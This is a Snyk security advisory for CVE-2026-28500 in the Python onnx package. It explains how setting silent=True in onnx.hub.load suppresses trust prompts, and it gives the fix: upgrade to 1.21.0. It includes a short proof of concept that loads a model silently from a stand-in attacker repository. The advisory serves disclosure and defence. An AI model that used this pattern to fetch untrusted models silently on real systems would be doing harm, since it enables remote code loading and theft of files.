Resources Downloaded over Insecure Protocol Affecting onnx package, versions [0, 1.21.0)
Threat Intelligence
This vulnerability is trending on Twitter; this may indicate a growing threat.
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-ONNX-15674461
- published17 Mar 2026
- disclosed16 Mar 2026
- creditZeroXJacks
Introduced: 16 Mar 2026
CVE-2026-28500 (opens in a new tab)How to fix?
Upgrade onnx to version 1.21.0 or higher.
Overview
onnx is an Open Neural Network Exchange
Affected versions of this package are vulnerable to Resources Downloaded over Insecure Protocol via the onnx.hub.load function when the silent parameter is set to True. An attacker can bypass repository trust verification and suppress all security warnings and confirmation prompts by exploiting this logic, allowing the download and execution of malicious models from attacker-controlled repositories without user notification. This enables the attacker to exfiltrate sensitive files from the victim's machine upon model loading.
PoC
import onnx
# Attacker-controlled repository containing a malicious model
EVIL_REPO = "attacker-account/malicious-models:main"
# This call loads the model WITHOUT any warning or prompt
model = onnx.hub.load(
"ResNet50",
repo=EVIL_REPO,
silent=True
)
print("Model loaded silently from untrusted source.")